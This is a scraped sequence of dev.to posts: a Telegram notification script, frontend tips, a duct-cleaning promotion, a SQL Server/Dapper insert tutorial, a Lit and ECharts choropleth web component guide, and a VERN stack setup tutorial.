Nice, now save CHAT_ID and TELEGRAM_API_TOKEN in `.env` file (or somewhere else just don't push it to a public repo).
Here is the code to send push notifications (messages from the server to your phone) at each 10 seconds.
```python
import time
import requests
from config import cfg
def server_push_notifications():
try:
while True:
url = f"https://api.telegram.org/bot{cfg.TELEGRAM_API_TOKEN}/sendMessage"
response = requests.post(
url=url,
params={'chat_id': cfg.CHAT_ID, 'text': 'All system are ok.', 'parse_mode': 'Markdown'}
)
print(url, response.json())
time.sleep(10)
except KeyboardInterrupt:
return
if __name__ == "__main__":
server_push_notifications()
```
As you can see the base is just a POST request to telegram api with chat_id and text as body. What you send as a message is up to you.
For something more serious I would recommend using [scheduler](https://github.com/DigonIO/scheduler), but I don't see why a barebones while loop with a time.sleep won't do the same thing.
| climentea |
1,890,293 | 5 Essential Tips for New Frontend Web Developers | Hello, DEV community! I'm Ridoy Hasan, a new front-end web developer. Here are five tips that have... | 0 | 2024-06-16T12:49:29 | https://dev.to/ridoy_hasan/5-essential-tips-for-new-frontend-web-developers-2556 | Hello, DEV community! I'm Ridoy Hasan, a new front-end web developer. Here are five tips that have helped me to become a successful developer:
**1**/ Master the Fundamentals: Focus on HTML, CSS, and JavaScript. These are the building blocks of web development. Use resources like MDN Web Docs and freeCodeCamp.
**2**/ Build Projects: Apply your knowledge by creating small projects. This boosts your skills and builds your portfolio.
**3**/ Learn Git: Git is crucial for version control. Start with basic commands and use resources like the Git Official Documentation.
**4**/ Stay Updated: Follow industry trends through platforms like DEV , Stack Overflow, and Reddit's r/webdev.
**5**/ Ask for Help: The developer community is supportive. Use forums like Stack Overflow and dev.to when you need assistance.
Happy coding! Share your thoughts or questions in the comments.
| ridoy_hasan | |
1,890,291 | Top 5 Signs Your Home Needs Professional Duct Cleaning Services | Introduction Have you ever noticed a strange smell coming from your air ducts or found yourself... | 0 | 2024-06-16T12:46:42 | https://dev.to/reconductmasters/top-5-signs-your-home-needs-professional-duct-cleaning-services-2g3 | Introduction
Have you ever noticed a strange smell coming from your air ducts or found yourself sneezing more often at home? These could be signs that your ducts need cleaning. Keeping your ducts clean is essential for maintaining a healthy and efficient home environment. In this article, we'll explore the top 5 signs your home needs professional duct cleaning services and why it's crucial to address these issues promptly.
Why Clean Ducts Matter
Clean ducts play a significant role in ensuring a healthy living environment and efficient HVAC system.
Health Benefits
Improved Air Quality
When your ducts are clean, the air circulating in your home is free from dust, allergens, and other pollutants. This means you and your family are breathing in cleaner, healthier air.
Allergy Reduction
Dirty ducts can harbor allergens that exacerbate symptoms for allergy sufferers. Regular cleaning helps reduce these allergens, leading to fewer sneezes and sniffles.
Efficiency Benefits
Lower Energy Bills
Clean ducts allow your HVAC system to operate more efficiently, reducing the amount of energy required to heat or cool your home. This can lead to significant savings on your energy bills.
Enhanced HVAC Performance
When ducts are free from obstructions, your HVAC system doesn't have to work as hard to circulate air, which can extend its lifespan and improve overall performance.
Sign 1: Persistent Odor
Identifying Unpleasant Smells
If you notice a constant, unpleasant odor coming from your vents, it's a clear indication that your ducts might be dirty. These smells can range from musty to downright foul.
Causes of Duct Odors
Several factors can cause [odors in your ducts](https://reconductmasters.com.au/duct-odour-removal/), including mold, mildew, pet dander, and accumulated dust and debris.
Importance of Professional Odor Removal
Professional odour removal services, like those offered by [Recon Duct Masters](https://reconductmasters.com.au/
), can effectively eliminate these unpleasant smells, ensuring your home smells fresh and clean.
Sign 2: Visible Dust and Debris
Dust Accumulation on Vents
Take a look at the vents around your home. If you see a significant amount of dust or debris accumulating on them, it's a strong sign that your ducts need cleaning.
Indicators of Dirty Ducts
Beyond dusty vents, other indicators include visible dust particles in the air when the HVAC system is running and dust settling quickly on surfaces even after cleaning.
Sign 3: Allergy and Respiratory Issues
Symptoms Linked to Dirty Ducts
If you or your family members are experiencing increased allergy symptoms, such as sneezing, coughing, or itchy eyes, it might be due to dirty ducts. Respiratory issues can also be exacerbated by poor air quality.
Health Risks of Ignoring Dirty Ducts
Ignoring dirty ducts can lead to prolonged exposure to allergens and pollutants, which can have long-term health consequences, especially for those with asthma or other respiratory conditions.
Sign 4: Inconsistent Airflow
Cold and Hot Spots
Do you notice certain rooms in your home are significantly warmer or cooler than others? Inconsistent airflow can be a sign that your ducts are obstructed or not functioning properly.
Diagnosing Airflow Issues
Professional duct cleaning can help diagnose and address these issues, ensuring even distribution of air throughout your home.
Sign 5: Increased Energy Bills
Correlation Between Dirty Ducts and Energy Usage
When your HVAC system has to work harder to push air through dirty ducts, it uses more energy. This can result in noticeably higher energy bills.
Financial Benefits of Duct Cleaning
Investing in professional duct cleaning can save you money in the long run by improving your system's efficiency and lowering your energy costs.
How Often Should You Clean Your Ducts?
General Recommendations
Experts generally recommend having your ducts cleaned every 3-5 years. However, this can vary based on several factors.
Factors Influencing Cleaning Frequency
Factors such as having pets, smoking indoors, recent renovations, and living in a dusty environment can increase the need for more frequent cleaning.
Choosing the Right Professional Service
What to Look for in a Duct Cleaning Company
When choosing a duct cleaning company, look for one with a good reputation, proper certifications, and positive customer reviews. Recon Duct Masters is a trusted name in the industry, known for their thorough and professional services.
Benefits of Hiring Recon Duct Masters
By hiring Recon Duct Masters, you ensure that your ducts are cleaned using the latest techniques and equipment, providing you with peace of mind and improved air quality.
DIY vs. Professional Duct Cleaning
Pros and Cons of DIY
While DIY duct cleaning can save money, it often lacks the thoroughness and effectiveness of professional services. You might miss hidden dust and debris that professionals can easily handle.
Advantages of Professional Services
Professional duct cleaners have the expertise and equipment to thoroughly clean your ducts, removing all dust, debris, and allergens. This leads to better air quality and system efficiency.
Conclusion
Keeping your ducts clean is crucial for maintaining a healthy and efficient home environment. If you notice persistent odors, visible dust, allergy symptoms, inconsistent airflow, or increased energy bills, it might be time to call in the professionals. Recon Duct Masters can help you breathe easier and save money with their expert duct cleaning services.
FAQs
How do I know if my ducts need cleaning?
Look for signs like persistent odors, visible dust, increased allergy symptoms, inconsistent airflow, and higher energy bills.
Can dirty ducts make me sick?
Yes, dirty ducts can harbor allergens and pollutants that exacerbate allergies and respiratory issues.
How long does a professional duct cleaning take?
Typically, a thorough duct cleaning can take between 2 to 4 hours, depending on the size of your home and the complexity of the system.
Are there any risks to having my ducts cleaned?
When done by professionals, duct cleaning is safe and can improve air quality. DIY attempts might not be as effective and could potentially damage your ducts.
How can I maintain clean ducts between professional services?
Regularly change your HVAC filters, keep your home clean, and ensure proper ventilation to reduce dust and allergens in your ducts. | reconductmasters | |
1,890,239 | SQL-Server add record tip | Introduction Learn how to add a new record to a SQL-Server database table and in the same... | 22,612 | 2024-06-16T12:46:12 | https://dev.to/karenpayneoregon/sql-server-add-record-tip-j3j | csharp, dotnetcore, sql, sqlserver | ## Introduction
Learn how to add a new record to a SQL-Server database table and in the same SQL statement insert the new primary key and current user name into a secondary table. This permits a way to track who added a new record. Although not shown, the same technique can be used for update and delete operations.
{% cta https://github.com/karenpayneoregon/sql-basics/tree/master/SqlServerOutputToOtherTableExample %} Sample project {% endcta %}
## Basics
To add a new record to a Person table, create an INSERT statement followed by a SELECT separated by a semi-colon.
```sql
INSERT INTO dbo.Person (FirstName,
LastName,
Gender)
VALUES ('Karen', 'Payne', 'Female');
SELECT CAST(SCOPE_IDENTITY() AS INT);
```
In SSMS (SQL-Server Management Studio) after executing the above statements the new identifier is shown in the results window.
### Dapper sample 1
[Dapper](https://github.com/DapperLib/Dapper) is used here while a developer can perform the same operations with a connection and command objects, Dapper simply makes the process easier.
First create the statements, here the statement is in a read only string, since Dapper handles stored procedures the statement can be in a stored procedure, here it is easy to follow in a raw string literal.
Microsoft documentation for [OUTPUT clause](https://learn.microsoft.com/en-us/sql/t-sql/queries/output-clause-transact-sql?view=sql-server-ver16) which, in this case provides our new primary key.
```csharp
internal class SqlStatements
{
public static string InsertPerson =>
"""
INSERT INTO dbo.Person (FirstName,
LastName,
Gender)
OUTPUT Inserted.Id
VALUES (@FirstName, @LastName, @Gender);
""";
}
```
Here the code is in a console project in Program/Main method.
Person class
```csharp
public class Person
{
public int Id { get; set; }
public string FirstName { get; set; }
public string LastName { get; set; }
public string Gender { get; set; }
}
```
- Create a new Person
- Create a connection with the connection string in appsettings.json
- Using Dapper's QueryFirstAsync method which will return an int, first parameter is the SQL statement from above and the second parameter the person to add.
- Display the new identifier via [Spectre.Console](https://spectreconsole.net/) NuGet package.
```csharp
Person p = new Person() { FirstName = "Karen", LastName = "Payne", Gender = "Female"};
await using var cn = new SqlConnection(DataConnections.Instance.MainConnection);
AnsiConsole.MarkupLine("[yellow]Adding a single record[/]");
var identifier = await cn.QueryFirstAsync<int>(SqlStatements.InsertPerson, p);
AnsiConsole.MarkupLine($"[cyan]Identifier: {identifier}[/]");
```
### Dapper sample 2
Insert a new Person record and also insert a record into another table, Transaction to remember who added the Person record.
As mention above the same can be done with updates and deletions. If going this route, add another column to the transition table for what type of action was performed e.g. add, delete or edit. Also, a date column has been added to know when the action was performed.
First, here is the database structure
- Person table which is for storing people.
- Transactions table which will store an id from an insert statement for Person table and the identifier of who inserted the person record.

SQL Statement, InsertPersonToTransactions, in the OUTPUT clause the new primary key and the current user identifier are passed to the Transaction table to be added.

C# Code which will insert two records into the Person table and Transaction table.
```csharp
List<Person> list =
[
new() { FirstName = "Mary", LastName = "Adams", Gender = "Female" },
new() { FirstName = "Bill", LastName = "Jones", Gender = "Male" }
];
await using var cn = new SqlConnection(DataConnections.Instance.MainConnection);
await cn.ExecuteAsync(SqlStatements.InsertPersonToTransactions, list);
```
## Adding a type to the Transaction table
Add a new column, in this case named Action.

SQL Statement

The code does not change from the last example.
## Summary
Code has been presented to show how to insert a new record in a primary table along with at the same time insert a new record into a secondary table. Although Dapper was used, the same will work with conventional connection and command objects.
As stated earlier, SQL statements are embedded in code while a developer may consider using stored procedures as an option.
### Setup sample code
Once you have the sample code
1. Open SSMS to localdb
1. Create a database named OutputDatabase
1. Run the script under Scripts/createDatabase_with_Action_In_Transaction_Table.sql
1. Build and run the project,
{% cta https://github.com/karenpayneoregon %} 🚀 Visit My GitHub Profile {% endcta %}
| karenpayneoregon |
1,870,079 | Using Apache ECharts with Lit and TypeScript | What are Web Components? WebComponents.org explains it well: Web components are a set of... | 0 | 2024-06-16T12:45:39 | https://dev.to/manufac/using-apache-echarts-with-lit-and-typescript-1597 | webdev, typescript, echarts, webcomponents | ### What are Web Components?
[WebComponents.org](https://www.webcomponents.org/introduction) explains it well:
> Web components are a set of web platform APIs that allow you to create new custom, reusable, encapsulated HTML tags to use in web pages and web apps.
> Custom components and widgets built on the Web Component standards will work across modern browsers and can be used with any JavaScript library or framework that works with HTML.
According to [MDN](https://developer.mozilla.org/en-US/docs/Web/API/Web_components), the 3 main APIs for Web Components are:
1. [Custom elements](https://developer.mozilla.org/en-US/docs/Web/API/Web_components/Using_custom_elements)
2. [Shadow DOM](https://developer.mozilla.org/en-US/docs/Web/API/Web_components/Using_shadow_DOM)
3. [HTML templates](https://developer.mozilla.org/en-US/docs/Web/API/Web_components/Using_templates_and_slots)
For those interested in learning more, this [CSS-Tricks.com article series](https://css-tricks.com/an-introduction-to-web-components/#aa-article-series) is a great reference.
Since these APIs are all [widely available](https://developer.mozilla.org/en-US/docs/Web/API/Web_components#browser_compatibility), we can start using them to build custom components in production. However, there are libraries like [Lit](https://lit.dev/) and [Stencil](https://stenciljs.com/) that can simplify the development process.
### Why might we need Web Components?
The [FAST Project](https://github.com/microsoft/fast) by Microsoft provides an [in-depth discussion](https://www.fast.design/docs/resources/why-web-components) on the benefits of Web Components.
While [better performance](https://www.fast.design/docs/resources/why-web-components#you-might-choose-web-components-for-performance) may be a reason for some, their framework-agnostic nature was the most important value proposition for our team at [Manufac](https://manufacanalytics.com/). For instance:
1. Your team can build standard Web Components to be reused across different web apps without restricting your developers to a particular framework. This benefit is particularly valuable for large enterprises with multiple teams that have diverse skill sets and preferences.
2. If your end product needs to integrate well with any web application, Web Components are ideal. For example, if you're building a payment solution and want to offer a ready-to-use payment button that developers can easily add to their web apps, would you prefer building separate versions for ReactJS, Angular, and VueJS? Or would you rather have a single framework-agnostic UI component?
#### Why not simply use JS/TS to create reusable components programmatically?
You certainly can. One way to do this is to write sub-routines that find, say, all `divs` with specific class names or IDs using methods such as `document.getElementById`, `document.getElementsByClassName`, and `document.querySelector`. You can then replace these elements with the programmatically created UI components of your choice.
However, Web Components offer an additional advantage via its shadow DOM API: **encapsulation**.
> ... because a custom element, by definition, is a piece of reusable functionality: it might be dropped into any web page and be expected to work. So it's important that code running in the page should not be able to accidentally break a custom element by modifying its internal implementation. Shadow DOM enables you to attach a DOM tree to an element, and have the internals of this tree hidden from JavaScript and CSS running in the page.
MDN provides an in-depth discussion about this [here](https://developer.mozilla.org/en-US/docs/Web/API/Web_components/Using_shadow_DOM).
### How can we build a portable choropleth component using Apache ECharts and Lit?
A. Import all the needed dependencies.
I am assuming that you have some familiarity with both Lit and Apache ECharts.
> If not, then the following should help:
> a. [An interactive tutorial for Lit](https://lit.dev/tutorials/intro-to-lit/)
> b. [Getting started with Apache ECharts](https://echarts.apache.org/handbook/en/get-started/)
```ts
import { MapChart } from "echarts/charts";
import {
TitleComponent,
ToolboxComponent,
TooltipComponent,
VisualMapComponent,
GeoComponent,
} from "echarts/components";
import { init, use, registerMap } from "echarts/core";
import { CanvasRenderer } from "echarts/renderers";
import { LitElement, PropertyValueMap, PropertyValues, html } from "lit";
import { customElement, property, query } from "lit/decorators.js";
import type { MapSeriesOption } from "echarts/charts";
import type {
TitleComponentOption,
TooltipComponentOption,
ToolboxComponentOption,
GeoComponentOption,
VisualMapComponentOption,
} from "echarts/components";
import type { ComposeOption, ECharts } from "echarts/core";
import { WorldChoroplethMapGeoJSON } from "./utils";
import { ChoroplethStyles } from "./styles";
```
The `WorldChoroplethMapGeoJSON` imported above is available [here](https://gist.github.com/maneetgoyal/772185d3dd770e1da00a5402a0ce8d7e.js) and `ChoroplethStyles` as shown below can contain your preferred styling:
```ts
import { css } from "lit";
export const ChoroplethStyles = css`
.choropleth {
width: 100%;
height: 100%;
}
`;
```
B. Next, we'll configure ECharts to do some [bundle size optimization](https://dev.to/manufac/using-apache-echarts-with-react-and-typescript-optimizing-bundle-size-29l8):
```ts
/**
* Adapted from Echarts.
* Ref: https://echarts.apache.org/examples/en/editor.html?c=map-usa-projection&lang=ts
*/
type WorldChoroplethMapOptions = ComposeOption<
| GeoComponentOption
| MapSeriesOption
| TitleComponentOption
| ToolboxComponentOption
| TooltipComponentOption
| VisualMapComponentOption
>;
/**
* Adapted from Echarts.
* Ref: https://echarts.apache.org/examples/en/editor.html?c=map-usa-projection&lang=ts
*/
use([
TitleComponent,
TooltipComponent,
VisualMapComponent,
GeoComponent,
MapChart,
ToolboxComponent, // A group of utility tools, which includes export, data view, dynamic type switching, data area zooming, and reset.
CanvasRenderer, // If you only need to use the canvas rendering mode, the bundle will not include the SVGRenderer module, which is not needed.
]);
```
C. Now, we are telling ECharts which [GeoJSON](https://en.wikipedia.org/wiki/GeoJSON) file to use to render the base map. This is the world map GeoJSON, but if you only need, say, the Indian or the US map, you can switch the GeoJSON file accordingly.
```ts
/**
* Adapted from Echarts.
* Ref: https://echarts.apache.org/examples/en/editor.html?c=map-usa-projection&lang=ts
*/
type RegisterMapParams = Parameters<typeof registerMap>;
registerMap("WorldChoroplethMap", WorldChoroplethMapGeoJSON as RegisterMapParams[1]);
```
D. Next, time for some data modeling. How do we want to express the countries and associated data can be specific to your own use case. Nevertheless, at a basic level, we mainly need some way to <u>identify the country</u> and the <u>associated numeric value to be visualized</u>. In the data model below, we've have a no-frills interface which does just that:
```ts
interface WorldChoroplethDatum {
name: string;
value: number;
}
```
The input data passed to the choropleth should now be like this: `WorldChoroplethDatum[]`.
E. Finally, we've come to the core component implementation. You may want to read up a bit on the Lit [lifecycle methods](https://lit.dev/docs/components/lifecycle/) if the following class methods seem foreign:
```ts
/**
* Using `firstUpdated` alongside `willUpdate` can ensure that the
* private variable is set correctly both initially and when properties
* change.
*/
@customElement("world-choropleth")
export class WorldChoropleth extends LitElement {
#instance: ECharts | undefined;
#observer: ResizeObserver | undefined;
#options: WorldChoroplethMapOptions | undefined;
static styles = [ChoroplethStyles];
@property({ type: Array })
value: WorldChoroplethDatum[] = [];
@property({ type: String })
title = "";
// Ref: https://lit.dev/docs/components/shadow-dom/#query
@query("#choropleth", true)
private _choropleth: HTMLDivElement | undefined | null;
protected willUpdate(changedProperties: PropertyValues<this>): void {
if (changedProperties.has("title")) {
this.#options = {
...this.#options,
title: { text: changedProperties.get("title") },
};
}
if (changedProperties.has("value")) {
const newValue = changedProperties.get("value") ?? [];
const values = newValue.map((ele) => ele.value);
this.#options = {
...this.#options,
series: {
...(this.#options?.series as MapSeriesOption),
data: newValue,
},
visualMap: {
...this.#options?.visualMap,
min: Math.min(...values),
max: Math.max(...values),
},
};
}
}
protected firstUpdated = () => {
// Initialize echarts instance
if (this._choropleth !== null && this._choropleth !== undefined) {
this.#instance = init(this._choropleth);
this.#observer = new ResizeObserver(() => {
this.#instance?.resize();
});
this.#observer.observe(this._choropleth);
const values = this.value.map((ele) => ele.value);
this.#options = {
title: {
left: "center",
text: this.title,
},
tooltip: {
trigger: "item",
showDelay: 0,
transitionDuration: 0.2,
},
toolbox: {
show: true,
left: "right",
top: "top",
feature: {
saveAsImage: {},
restore: {
show: true,
title: "Reset zoom",
},
},
},
visualMap: {
id: "visual-map",
type: "continuous",
left: "right",
min: Math.min(...values),
max: Math.max(...values),
inRange: {
color: [
"#313695",
"#4575b4",
"#74add1",
"#abd9e9",
"#e0f3f8",
"#ffffbf",
"#fee090",
"#fdae61",
"#f46d43",
"#d73027",
"#a50026",
],
},
text: ["High", "Low"],
calculable: true,
realtime: false,
},
series: {
id: "WorldChoroplethMapSeries",
name: "WorldChoroplethMap",
type: "map",
map: "WorldChoroplethMap", // Should be same as the map registered with 'registerMap'
roam: true, // Used for zooming and spanning over the map. Ref: https://echarts.apache.org/en/option.html#series-map.roam
/**
* Associates individual map polygons to the key defined.
* Ref: https://echarts.apache.org/en/option.html#series-map.nameProperty
*/
nameProperty: "name",
data: this.value,
},
};
}
};
protected updated(_changedProperties: PropertyValues<this>): void {
if (this.#options !== undefined) {
this.#instance?.setOption(this.#options);
}
}
disconnectedCallback(): void {
super.disconnectedCallback();
this.#observer?.disconnect();
this.#instance?.dispose();
}
render() {
return html`<div id="choropleth" class="choropleth"></div>`;
}
}
```
### Why those lifecycle methods were used?
A. Why `willUpdate`?
It is a lifecycle method that gets called before the component updates. It is often used to perform operations that need to happen just before the update occurs, such as making changes to the state or properties based on the current and upcoming values.
In our case: Before updating, this method checks if the `title` or `value` properties have changed. If they have, it updates the `#options` object with new values. This prepares the component's state before the actual rendering.
B. Why `firstUpdated`?
It is called after the component's initial render, i.e., after the component has been added to the DOM for the first time. It’s used to perform tasks that require the component to be fully rendered and part of the DOM, such as interacting with the DOM, initializing third-party libraries, or setting up event listeners. It runs only once, immediately after the component's first render.
In our case: After the initial render, this method initializes the ECharts instance, sets up a `ResizeObserver` to handle resizing, and configures the chart options using the component's properties.
C. Why `updated`?
It is called after the component's update has been rendered to the DOM. It allows you to perform operations after the component has updated, such as interacting with the DOM based on new properties or states. It runs after each update (initial and subsequent updates).
In our case: After the component updates, this method sets the new options for the ECharts instance, ensuring that the chart reflects the latest data and configuration.
D. Why `disconnectedCallback`?
It is a lifecycle method that is invoked when a component is removed from the DOM. This method is useful for performing cleanup tasks such as removing event listeners, canceling timers, or cleaning up any other resources that the component might have allocated. It runs when the component is detached from the DOM, such as when it is removed or replaced.
In our case: When the component is removed from the DOM, this method disconnects the `ResizeObserver` and disposes off the ECharts instance to clean up resources and consequently, prevent memory leaks.
### How can you consume such a component in your apps?
You can find some quick instructions in the official Lit docs [here](https://lit.dev/docs/tools/adding-lit/#use-your-component). For ReactJS, Lit provides additional support; this [integration guide](https://lit.dev/docs/frameworks/react/) will be very helpful.
If you'd like to consume the same choropleth component share above, it can be easily installed via NPM:
```bash
yarn add @manufac/web-components
```
Further, we have added some example integrations in CodeSandbox to simplify the process:
1. [For a vanilla web app](https://codesandbox.io/p/devbox/world-chorpleth-web-component-in-vanilla-web-app-pqprvs)
2. [For a ReactJS web app](https://codesandbox.io/p/devbox/world-choropleth-web-component-in-reactjs-app-wgjh67)
These examples should help you get started quickly and more conveniently.
***
Interested in learning how web components can be added to Wordpress blogs/sites? Let us know in the comments and we'll be happy to share another blog for the same. 🧑💻😀👋
Do consider web components for your framework agnostic UI requirements; they just might be what you need!
****
| maneetgoyal |
1,890,289 | From React to Hotwire - Part I - [EN] | Versão em Português do Brasil Part II In the latest edition of Tropical.rb, I announced that... | 0 | 2024-06-16T12:31:21 | https://dev.to/cirdes/from-react-to-hotwire-part-i-en-2o6g | hotwire, react, rails, ruby | [Versão em Português do Brasil](https://dev.to/cirdes/do-react-ao-hotwire-parte-i-pt-br-1hm2)
[Part II](https://dev.to/cirdes/from-react-to-hotwire-part-ii-en-2lim)
In the latest edition of [Tropical.rb](https://www.tropicalrb.com/), I announced that [Linkana](https://www.linkana.com/) would be transitioning from React to Hotwire. This transition has already begun, and I want to share with you the challenges we are encountering. Before starting, I would like to look back on my experience with the frontend of my applications over the past few years.
**Past - Server Side Rendering (SSR) - 2011/2017**
At my first company, [Eventick](https://pt.wikipedia.org/wiki/Eventick), we used only Rails views to create our frontend. The big challenge was creating layouts in a world where Flexbox or Grid did not exist. We relied on floats, absolute/relative positioning, and tables. JavaScript was limited to jQuery; trying to use pure JS was madness, as each browser behaved differently.
During this time, JavaScript began to be taken seriously. Internet Explorer was losing market share, and the first "modern" frameworks/libs began to emerge. I started using AngularJS 1.0, still integrated with Rails views. Angular's role was to create more interactive interfaces without needing to write many lines of JS or jQuery just to hide or show an element. The JavaScript ecosystem was gaining strength, while in Rails, it was very difficult to use NPM packages. The mindset was to use gems to add JS and CSS files, but the libs would get updates while their gems would not. This was when Rails fell behind in the frontend.
Shortly after, React appeared and started gaining attention, especially with the appeal of the Virtual DOM. It was a library that promised performance while being lightweight. At that time, Google decided to change the entire architecture of Angular with Angular V2, making V1 incompatible with the framework's future. Seeing Angular in crisis and React emerging, I started experimenting with React. Around this time, Eventick was sold to Sympla, and I knew my next project needed to be a SPA with React. It was inconceivable to start a startup in 2018 using the Rails approach.
**Present - SPA - 2017/2024**
At Linkana, we opted for GraphQL after reading an [article from Airbnb](https://medium.com/airbnb-engineering/how-airbnb-is-moving-10x-faster-at-scale-with-graphql-and-apollo-aa4ec92d69e2) mentioning that they were advancing 10 times faster with GraphQL and Apollo. But also due to my frustration with Redux, which always seemed like a complex and bureaucratic solution to me. Looking back, I believe it was the right decision. With Apollo and GraphQL, we could develop APIs in less time and avoid the complexity of managing state with Redux, Reflux, etc. However, the main drawback of GraphQL is that it makes the N+1 problem quite complex, something we still face today. Additionally, it complicates implementing cache in requests, though fortunately, this is not a problem we need to tackle at Linkana.
React also proved to be a good bet due to the large number of available libraries. On the other hand, being a library and not a framework, React code tends to become messy. It lacks the conventions of Rails. This is something we face at Linkana, but I don't consider it one of the most serious problems. We always try to organize our components using [Atomic Design](https://medium.com/pretux/atomic-design-o-que-%C3%A9-como-surgiu-e-sua-import%C3%A2ncia-para-a-cria%C3%A7%C3%A3o-do-design-system-e3ac7b5aca2c) and a folder structure that we believe makes sense.
Another important bet at the beginning of Linkana was [Grommet](https://v2.grommet.io/), a UI framework that offers React components for creating interfaces. Some may think it was a wrong bet since we eventually moved away from it and Grommet never took off, but that was not the case. At the time, we believed that "creating our own Design System" was a vanity common in many companies, large and small. This mentality, I believe, was a legacy of [Twitter Bootstrap](https://getbootstrap.com/). Although Bootstrap was the first UI library to become popular, its strength was never customization. As a result, many sites ended up looking similar. Grommet, besides being a ready-to-use UI framework, was the only one available in 2017/2018 with a Figma file. More popular options like MUI and Ant Design did not offer this feature. Having the Figma file meant that design projects would be done within Grommet's sandbox, avoiding unnecessary customizations.
This architecture served Linkana well for a few years until we realized that Grommet, which initially made our work easier, was becoming an obstacle when we needed to make simple customizations. Additionally, it distanced us from CSS; we were learning Grommet, but not CSS. It was then that we set out to find Stack V2.
**Stack V2 with Shadcn and Tailwind**
Linkana's Stack V2 needed to maintain or increase our productivity while allowing us to make the minimal modifications we still desired.
The first bet I made was on Tailwind. Tailwind is known for "looks ugly and feels good." At first, many people may feel repulsed by looking at Tailwind classes in an HTML tag, but after a few hours of use, you realize how convenient it is not to worry about separate .css files anymore. Everything is available through classes. To understand this, I had to work on a side project.
Soon after, I discovered a new concept called "unstyled-ui," which are JS libraries that implement all the behavior of library components, leaving the CSS to be applied by you. Good examples are: [Radix-ui](https://www.radix-ui.com/), [Headless-ui](https://headlessui.com/), and [Tanstack](https://tanstack.com/).
The idea of having components without UI like Radix allows it to be added to any project. It is no longer necessary to "fight" to remove the component's style and make it fit your project. Or reinvent the wheel and build the component from scratch. When I saw this, the direction made a lot of sense to me.
But the real find was [Shadcn](https://ui.shadcn.com/). Shadcn is a library that brings together all these concepts. It uses Radix as a base, incorporates Tailwind to add style to Radix, and has a Figma file. Additionally, Shadcn innovated in one more aspect: instead of being an npm/lib package, it is just a set of reusable code that you can copy and paste into your project. As it says:
> This is NOT a component library. It's a collection of reusable components that you can copy and paste into your apps.
Although this might seem strange, I have seen this model being increasingly applied in other projects, as it allows you to use components while giving you a customization possibility like never before. It combines the practicality of Bootstrap with the customization of a bespoke "Design System." Additionally, it includes an [AI for generating graphical interfaces](https://v0.dev/).
Bringing all this together, we have Linkana's React SPA frontend.
I will talk about Hotwire in [part II](https://dev.to/cirdes/from-react-to-hotwire-part-ii-en-2lim) of this article. | cirdes |
1,890,287 | ERROR : Could not install Gradle distribution from 'https://services.gradle.org/distributions/gradle-8.4-bin.zip'. | Could not install Gradle distribution from... | 0 | 2024-06-16T12:23:11 | https://dev.to/sunj/error-could-not-install-gradle-distribution-from-httpsservicesgradleorgdistributionsgradle-84-binzip-241c | android, kotlin | ```
Could not install Gradle distribution from 'https://services.gradle.org/distributions/gradle-8.4-bin.zip'.
Reason: java.lang.RuntimeException: Could not create parent directory for lock file C:\Program Files\Java\jdk-17\wrapper\dists\gradle-8.4-bin\1w5dpkrfk8irigvoxmyhowfim\gradle-8.4-bin.zip.lck
Please ensure Android Studio can write to the specified Gradle wrapper distribution directory.
You can also change Gradle home directory in Gradle Settings.
```
File - Settings - Gradle - Gradle user home 자리를 비워두기
_참조 : https://stackoverflow.com/questions/75723748/gradle-error-in-android-studio-could-not-create-parent-directory-for-lock-file_
| sunj |
1,890,250 | Discover the VERN Stack: Revolutionizing Web Development with VERSE.DB, Express, React, and Node | Title: Discover the VERN Stack: Revolutionizing Web Development with VerseDB, Express, React, and... | 27,743 | 2024-06-16T12:19:33 | https://dev.to/marco5dev/discover-the-vern-stack-revolutionizing-web-development-with-versedb-express-react-and-node-4ki1 | versedb, express, react, node | **Title: Discover the VERN Stack: Revolutionizing Web Development with VerseDB, Express, React, and Node**
Web development stacks are continually evolving, with new technologies emerging to improve efficiency, scalability, and developer experience. One of the latest and most exciting stacks is the VERN Stack, which comprises VerseDB, Express, React, and Node.js. This combination offers a powerful, flexible, and modern approach to building full-stack web applications. In this post, we'll explore the VERN Stack, how to set it up, and why it's becoming a go-to choice for developers.
### What is the VERN Stack?
The VERN Stack is a modern web development stack that includes:
- **VerseDB**: A lightweight, fast, and flexible database solution.
- **Express**: A minimalist web framework for Node.js, providing robust features for web and mobile applications.
- **React**: A popular JavaScript library for building user interfaces, particularly single-page applications.
- **Node.js**: A JavaScript runtime built on Chrome's V8 JavaScript engine, enabling server-side scripting.
### Getting Started with the VERN Stack
Let's dive into how you can set up and use the VERN Stack for your next web development project.
#### 1. Setting Up the Project
First, ensure you have Node.js installed on your machine. If not, you can download it from [Node.js official website](https://nodejs.org/).
Create a new directory for your project and navigate into it:
```bash
mkdir vern-stack-app
cd vern-stack-app
```
Initialize a new Node.js project:
```bash
npm init -y
```
#### 2. Installing Dependencies
Install the necessary packages for our stack:
```bash
npm install express react react-dom react-scripts verse.db
```
We'll also need to install `concurrently` and `nodemon` to run our client and server simultaneously:
```bash
npm install concurrently nodemon --save-dev
```
#### 3. Setting Up VerseDB
VerseDB is the core of our stack, providing a simple and efficient database solution. Let's set up VerseDB.
Create a new directory for the backend and navigate into it:
```bash
mkdir backend
cd backend
```
Create a new file called `server.js` and add the following code:
```javascript
const express = require('express');
const VerseDB = require('verse.db');
const app = express();
const db = new versedb.connect({
adapter: "json", // Choose the desired adapter (json, yaml, or sql)
dataPath: "./path/to/the/data/folder", // Specify the path to the data directory (a folder)
devLogs: {
enable: true, // Set to true to enable dev logs (writes logs to files in the logs folder)
path: "./path/to/the/logs/folder", // Specify the logs folder path
},
secure: {
enable: true,
secret: "put-your-secret-here", // Set your custom secret
},
});
app.use(express.json());
// Sample route to get data
app.get('/api/data', (req, res) => {
const data = db.get('key');
res.json(data);
});
// Sample route to set data
app.post('/api/data', (req, res) => {
const { key, value } = req.body;
db.set(key, value);
res.json({ message: 'Data saved successfully' });
});
const PORT = process.env.PORT || 5000;
app.listen(PORT, () => console.log(`Server running on port ${PORT}`));
```
Ensure you have a `data.json` file in your backend directory:
```bash
touch data.json
```
#### 4. Setting Up React
Navigate back to the root of your project and create a new directory for the client:
```bash
cd ..
npx create-react-app client
```
Navigate into the client directory:
```bash
cd client
```
Open `src/App.js` and modify it to fetch data from your Express server:
```javascript
import React, { useEffect, useState } from 'react';
import './App.css';
function App() {
const [data, setData] = useState(null);
useEffect(() => {
fetch('/api/data')
.then(response => response.json())
.then(data => setData(data));
}, []);
return (
<div className="App">
<header className="App-header">
<h1>VERN Stack Application</h1>
<p>Data from VerseDB: {JSON.stringify(data)}</p>
</header>
</div>
);
}
export default App;
```
